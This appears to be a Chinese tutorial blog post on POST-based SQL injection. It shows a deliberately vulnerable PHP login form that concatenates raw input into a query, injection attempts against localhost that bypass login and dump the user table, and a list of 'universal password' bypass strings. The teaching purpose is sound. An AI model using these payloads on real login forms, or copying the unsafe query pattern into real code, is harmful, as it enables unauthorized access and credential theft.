sql_injection之post注入
1、代码篇
</html>
<center>
<form action="#" method="post">
姓名:<input type="text" name="user"><br>
密码:<input type="text" name="pass"><br>
<input type="submit" name="submit" value="提交">
</center>
</html>
<?php
/*************************
author:Bloodero
sql_injection_post
*************************/ include("../conn.php");
error_reporting(0);
if(isset($_POST['submit'])){
if(!empty($_POST['user']) && !empty($_POST['pass'])){
$user=$_POST['user'];
$pass=$_POST['pass'];
echo "你当前输入用户名:".$user."<br>";
echo "你当前输入密码:".$pass."<br>";
$sql="select * from user where username='$user' and password='$pass'";
$res=mysql_query($sql);
$row=mysql_fetch_array($res);
if(empty($row)){
echo "<script>alert('登陆失败')</script>";
}
else{
echo "当前用户:<br>";
echo "id:".$row['id']."<br>";
echo "username:".$row['username']."<br>";
echo "password:".$row['password']."<br>";
}
}
else{
echo "<script>alert('用户名/密码不能为空')</script>";
}
}
else{
exit();
}
?>
2、注入篇:http://localhost/pentest/sql/sql_injection_post.php
正确输入:
你当前输入用户名:admin
你当前输入密码:pass
当前用户:
id:1
username:admin
password:pass
尝试注入:
你当前输入用户名:1'
你当前输入密码:1 登陆失败
你当前输入用户名:1' #
你当前输入密码:1 登陆失败
你当前输入用户名:1' or 1=1#
你当前输入密码:1
当前用户:
id:1
username:admin
password:pass 登陆成功
你当前输入用户名:1' or 1=2#
你当前输入密码:1 登陆失败
这里我解释一下原理:
当我们闭合了where语句,然后再后面接or 1=2时,这时候恒假,所以不会有结果;
当我们接or 1=1时,恒真,所以就会查询所有;
你当前输入用户名:1' and 1=2 union select * from user#
你当前输入密码:1
当前用户:
id:1
username:admin
password:pass
这里的原理不懂的可以去看看第一发sql_injection;
3、防注入
对post过来的数据,进行处理;会有一篇进行详细讲解
4、通过post注入,引生的万能密码
"or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
admin' or 'a'='a 密码随便
'or 1=1/*
User: something Pass: ' or '1'='1
1'or'1'='1
admin' or 1=1/*
sql_injection之post注入的更多相关文章
- sql_injection之基本get注入
1.代码篇 <?php error_reporting(0); include("../conn.php"); if(isset($_GET['id'])){ $id=$_G ...
- 另类的SQL注入方法
前言:相比基于查询的SQL注入,使用insert.update和delete进行SQL注入显得略显另类 参考自:http://www.exploit-db.com/wp-content/themes/ ...
- 利用insert,update和delete注入获取数据
0x00 简介 利用SQL注入获取数据库数据,利用的方法可以大致分为联合查询.报错.布尔盲注以及延时注入,通常这些方法都是基于select查询语句中的SQL注射点来实现的.那么,当我们发现了一个基于i ...
- SQL 注入防御方法总结
SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难. SQL 注入可以参见:https://en.wikipedia.org/wiki/SQL_injection S ...
- ModSecurity SQL注入攻击
ModSecurity是 一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙.它可以作为Apache Web服务器的一个模块或单独的应用程序来运行.ModSecur ...
- SQL注入攻击技巧总结
0×01 你要知道目前有哪些数据库 微软公司旗下的: Microsoft SQL server 简称 MS-SQL 或者 SQL SERVER (大型数据库操作,功能和性能异常强大)(一般也是ASP或 ...
- PHP防止SQL注入与几种正则表达式讲解
注入漏洞代码和分析 代码如下: <?php function customerror($errno, $errstr, $errfile, $errline) { echo <b& ...
- 防御SQL注入的方法总结
这篇文章主要讲解了防御SQL注入的方法,介绍了什么是注入,注入的原因是什么,以及如何防御,需要的朋友可以参考下 SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难 ...
- PHP防SQL注入攻击
PHP防SQL注入攻击 收藏 没有太多的过滤,主要是针对php和mysql的组合. 一般性的防注入,只要使用php的 addslashes 函数就可以了. 以下是一段copy来的代码: PHP代码 $ ...
随机推荐
- [C/C++] multimap查找一个key对应的多个value
在multimap中,同一个键关联的元素必然相邻存放.基于这个事实,就可以将某个键对应的值一一输出. 1.使用find和count函数.count函数求出某个键出现的次数,find函数返回一个迭代器, ...
- UVA11374_Airport Express
给一个无向图,有的边是特殊边,最多可以取一条特殊边,求最短路,并且输出路径. 这样考虑,加入所有非特殊边,求出每个点到起点和终点的最短路.然后加入特殊边的时候,如果取当前这条特殊边,那么答案会是两点预 ...
- (2)YARN的工作流程
Writing YARN Applications 文档中的启动过程: Application submission client向Yarn ResourceManager提交一个Applicatio ...
- BZOJ3504 CQOI2014危桥(最大流)
如果只有一个人的话很容易想到最大流,正常桥连限流inf双向边,危桥连限流2双向边即可.现在有两个人,容易想到给两起点建超源两汇点建超汇,但这样没法保证两个人各自到达自己要去的目的地.于是再超源连一个人 ...
- MT【140】是否存在常数$\textbf{C}$
\(\textbf{天下事有难易乎?为之,则难者亦易矣 不为,则易者亦难矣------<为学>}\) (中国第59届国际数学奥林匹克国家集训队2018.3.20日测试题) 证明:存在常数\ ...
- Java之Stream流
Stream流的初步学习 初次学习Stream流的学习笔记,学习之前先了解一下函数式接口 概述 API是一个程序向使用者提供的一些方法,通过这些方法就能实现某些功能.所以对于流API来 说,重点是怎么 ...
- bzoj2141: 排队(分块+树状数组)
块套树为什么会这么快.. 先跑出原序列逆序对. 显然交换两个位置$l,r$,对$[1,l),(r,n]$里的数没有影响,所以只需要考虑$[l,r]$内的数. 设$(l,r)$内的数$a_i$,则按以下 ...
- C++命名规则 (转载仅作参考)
如果想要有效的管理一个稍微复杂一点的体系,针对其中事物的一套统一.带层次结构.清晰明了的命名准则就是必不可少而且非常好用的工具. 活跃在生物学.化学.军队.监狱.黑社会.恐怖组织等各个领域内的大量有识 ...
- ribbion的负载均衡之端口的切换
可以说在这里被坑了很久,终于今天在大神的指导下,成功实现了负载均衡,切换不同的端口,这里来记录下,首先来看下效果图吧: 到底是怎么实现的呢?到底是如何切换的呢? 具体来讲: 几个步骤,启动服务注册中心 ...
- springcloud的分布式配置Config
1.为什么要统一配置管理? 微服务由多个服务构成,多个服务多个配置,则对这些配置需要集中管理.不同环境不同配置,运行期间动态调整,自动刷新. 统一管理微服务的配置:分布式配置管理的一些组件: zook ...